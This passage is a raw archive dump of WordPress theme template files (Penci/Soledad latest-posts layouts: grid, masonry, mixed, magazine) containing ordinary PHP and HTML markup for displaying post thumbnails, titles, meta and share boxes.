            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>"
                       href="<?php penci_permalink_fix(); ?>" title="<?php echo
					wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>');"
                       href="<?php penci_permalink_fix(); ?>" title="<?php
					echo wp_strip_all_tags(
						get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
			<?php if ( 'yes' != $grid_cat ) : ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
            </<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( $grid_cat_move ) : ?>
						<span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_author ) : ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_date ) : ?>
                        <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $grid_comment_other ) : ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $grid_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php if ( isset( $custom_meta_key ) ) {
						echo penci_show_custom_meta_fields( $custom_meta_key );
					} ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php 
				do_action( 'penci_before_post_excerpt' );
				penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
            </div>
		<?php endif; ?>

		<?php if ( 'yes' == $grid_add_readmore ):
			$class_button = '';
			if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
			if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
			if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

		<?php if ( 'yes' != $grid_share_box ) : ?>
            <div class="penci-post-box-meta penci-post-box-grid">
                <div class="penci-post-share-box">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
                </div>
            </div>
		<?php endif; ?>
    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\so    :  template-parts/latest-posts-sc/content-overlay-boxed-1.phpnu [        <?php
/**
 * Template loop for 1st standard then boxed 1
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-overlay.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-boxed-1.php' ) );
}

$j++;
?>

PK     N\#    4  template-parts/latest-posts-sc/content-masonry-2.phpnu [        <?php
/**
 * Template loop for masonry 2 columns style
 */
if ( ! isset ( $n ) ) { $n = 1; } else { $n = $n; }
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<article id="post-<?php the_ID(); ?>" class="item item-masonry grid-masonry grid-masonry-2 hentry<?php if( 'yes' == $grid_meta_overlay ): echo ' grid-overlay-meta'; endif; ?>">
	<?php if ( has_post_thumbnail() ) : ?>
		<div class="thumbnail">
			<?php
			do_action( 'penci_bookmark_post' );
			/* Display Review Piechart  */
			if( function_exists('penci_display_piechart_review_html') ) {
				penci_display_piechart_review_html( get_the_ID() );
			}
			?>
			<a href="<?php penci_permalink_fix() ?>" class="post-thumbnail<?php echo penci_class_lightbox_enable(); ?>">
				<?php
				$src_full = penci_get_featured_image_size( get_the_ID(), 'full' );
				$src_check = substr( $src_full, -4 );
				if( $src_check == '.gif' ) {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'full' );
					the_post_thumbnail( 'full' );
				} else {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'penci-masonry-thumb' );
					the_post_thumbnail( 'penci-masonry-thumb' );
				}
				?>
			</a>
			<?php if( 'yes' != $grid_icon_format ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-play'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('far fa-image'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-music'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-link'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-quote-left'); ?></a>
				<?php endif; ?>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<div class="grid-header-box">
		<?php if ( 'yes' != $grid_cat ) : ?>
			<span class="cat"><?php penci_category( '' ); ?></span>
		<?php endif; ?>
		<<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a></<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
			<div class="grid-post-box-meta">
				<?php if ( $grid_cat_move ) : ?>
					<span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>
				<?php if ( 'yes' != $grid_author ) : ?>
					<span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting('penci_trans_by'); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else: ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>
				<?php endif; ?>
				<?php if ( 'yes' != $grid_date ) : ?>
					<span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( 'yes' == $grid_comment_other ) : ?>
					<span class="otherl-comment"><a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 '. penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php
				if ( 'yes' == $grid_viewscount ) {
					echo '<span>';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				}
				?>
				<?php if( penci_isshow_reading_time( $grid_readtime ) ): ?>
					<span class="otherl-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php if ( isset( $custom_meta_key ) ) {
					echo penci_show_custom_meta_fields( $custom_meta_key );
				} ?>
				<?php do_action( 'penci_extra_meta' ); ?>
			</div>
		<?php endif; ?>
	</div>

	<?php if( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
		<div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
			<?php 
			do_action( 'penci_before_post_excerpt' );
			penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
		</div>
	<?php endif; ?>

	<?php if( 'yes' == $grid_add_readmore ):
	$class_button = '';
	if( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
	if( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
	if( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
	?>
		<div class="penci-readmore-btn<?php echo $class_button; ?>">
			<a class="penci-btn-readmore" href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon('fas fa-angle-double-right'); ?></a>
		</div>
	<?php endif; ?>

	<?php if ( 'yes' != $grid_share_box ) : ?>
		<div class="penci-post-box-meta penci-post-box-grid">
			<div class="penci-post-share-box">
				<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
				<?php penci_soledad_social_share( );  ?>
			</div>
		</div>
	<?php endif; ?>
</article>
<?php 
if( isset( $infeed_ads ) && $infeed_ads ){
	penci_get_markup_infeed_ad(
		array(
			'wrapper' => 'article',
			'classes'      => 'item item-masonry grid-masonry grid-masonry-2 penci-infeed-data penci-infeed-vcele',
			'fullwidth'	 => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	); 
}
?>
<?php $n++; ?>
PK     N\Zi    2  template-parts/latest-posts-sc/content-mixed-2.phpnu [        <?php
/**
 * Template loop for mixed style
 */
?>
<?php
/**
* Create var $j to count order posts
* If $j = 1, to show mixed post, $j > 1 to show grid post
*
* @since 1.0
*/
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$penci_mixed_style = isset( $penci_mixed_style ) ? $penci_mixed_style : '';

$k = 3;
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }
if( ( is_home() && ! penci_get_setting( 'penci_sidebar_home' ) ) || ( is_archive() && ! penci_get_setting( 'penci_sidebar_archive' ) ) || is_page_template( 'page-vc.php' ) || is_page_template( 'page-penci-full-width.php' ) ):
	$k = 4;
endif;

if( isset( $template ) && $template == 'no-sidebar' ) {
	$k = 4;
}

if( 's1' == $penci_mixed_style ) {
	$k = 4;
} elseif( 's2' == $penci_mixed_style ) {
	$k = 3;
}

if ( ( $j % $k ) == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-overlay.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid.php' ) );
}

$j++;
?>PK     N\'7    8  template-parts/latest-posts-sc/content-standard-list.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-standard.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-list.php' ) );
}

$j++;
?>

PK     N\*zg-  -  2  template-parts/latest-posts-sc/content-mixed-4.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-featured.php' ) );
}
elseif ( $j < 6 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid-2.php' ) );
} else {
	include( locate_template( 'template-parts/latest-posts-sc/content-small-list.php' ) );
}

$j++;
?>

PK     N\@}$  $  5  template-parts/latest-posts-sc/content-magazine-1.phpnu [        <?php
/**
 * Template loop for magazine 1 style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<li class="list-post magazine-layout magazine-1">
    <article id="post-<?php the_ID(); ?>" class="item hentry">

		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size_vcel( 'normal', $penci_featimg_size ) ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size ) ); ?>"
                       href="<?php penci_permalink_fix(); ?>" title="<?php echo
					wp_strip_all_tags( get_the_title
					() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size ) ); ?>');"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags(
						   get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
            <div class="header-list-style">
				<?php if ( 'yes' != $grid_cat ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                </<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                    <div class="grid-post-box-meta">
						<?php if ( $grid_cat_move ) : ?>
							<span class="cat"><?php penci_category( '' ); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $grid_author ) : ?>
                            <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $grid_date ) : ?>
                            <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' == $grid_comment_other ) : ?>
                            <span class="otherl-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( 'yes' == $grid_viewscount ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                            <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php if ( isset( $custom_meta_key ) ) {
							echo penci_show_custom_meta_fields( $custom_meta_key );
						} ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php 
					do_action( 'penci_before_post_excerpt' );
					penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' == $grid_add_readmore ):
				$class_button = '';
				if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
				if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
				if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
				?>
                <div class="penci-readmore-btn<?php echo $class_button; ?>">
                    <a class="penci-btn-readmore"
                       href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                </div>
			<?php endif; ?>
        </div>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post magazine-layout magazine-1 penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\!    9  template-parts/latest-posts-sc/content-classic-grid-2.phpnu [        <?php
/**
 * Template loop for 1st standard then grid 2
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-classic.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid-2.php' ) );
}

$j++;
?>

PK     N\^M  M  7  template-parts/latest-posts-sc/content-mixed-larger.phpnu [        <?php
/**
 * Template loop for mixed style
 */
?>
<?php
$k = 4;
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( ( $j % $k ) == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-mixed-post.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid.php' ) );
}

$j++;
?>PK     N\-@!  !  5  template-parts/latest-posts-sc/content-mixed-post.phpnu [        <?php
/**
 * Template loop for mixed style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_bigsize      = isset( $thumb_bigsize ) ? $thumb_bigsize : '';
$post_id = get_the_ID();
$share_box_class = ( 'yes' != $grid_share_box || 'yes' != $grid_comment ) ? 'pcmx-show-share' : 'pcmx-hide-share';
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
    <div class="grid-style grid-mixed <?php echo $share_box_class;?>">
        <article id="post-<?php the_ID(); ?>" class="item hentry">

			<?php if ( has_post_thumbnail() ) : ?>
                <div class="thumbnail thumb-left">
					<?php
					/* Display Review Piechart  */
					if ( function_exists( 'penci_display_piechart_review_html' ) ) {
						penci_display_piechart_review_html( get_the_ID() );
					}
					?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'large', $penci_featimg_size, $thumb_bigsize ) ); ?>"
                           href="<?php penci_permalink_fix(); ?>" title="<?php echo
						wp_strip_all_tags(
							get_the_title() ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'large', $penci_featimg_size, $thumb_bigsize ) ); ?>');"
                           href="<?php penci_permalink_fix(); ?>" title="<?php
						echo wp_strip_all_tags
						( get_the_title() ); ?>">
                        </a>
					<?php } ?>
                </div>
			<?php endif; ?>

            <div class="mixed-detail">
                <div class="grid-header-box">
					<?php if ( 'yes' != $grid_cat ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
                    <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                                href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                    </<?php echo $heading_title_tag;?>>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php penci_soledad_meta_schema(); ?>
					<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
						<?php if ( $grid_cat_move ) : ?>
							<span class="cat"><?php penci_category( '' ); ?></span>
						<?php endif; ?>
							<?php if ( 'yes' != $grid_author ) : ?>
                                <span class="author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                penci_coauthors_posts_links();
	                                else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                <?php endif; ?></span>
							<?php endif; ?>
							<?php if ( 'yes' != $grid_date ) : ?>
                                <span><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php
							if ( 'yes' == $grid_viewscount ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
	                        <?php if ( isset( $custom_meta_key ) ) {
		                        echo penci_show_custom_meta_fields( $custom_meta_key );
	                        } ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>

				<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
                    <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
						<?php 
						do_action( 'penci_before_post_excerpt' );
						penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
                    </div>
				<?php endif; ?>

				<?php if ( 'yes' == $grid_add_readmore ):
					$class_button = '';
					if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
					if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
					if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
					?>
                    <div class="penci-readmore-btn<?php echo $class_button; ?>">
                        <a class="penci-btn-readmore"
                           href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                    </div>
				<?php endif; ?>

				<?php if ( 'yes' != $grid_share_box || 'yes' != $grid_comment ) : ?>
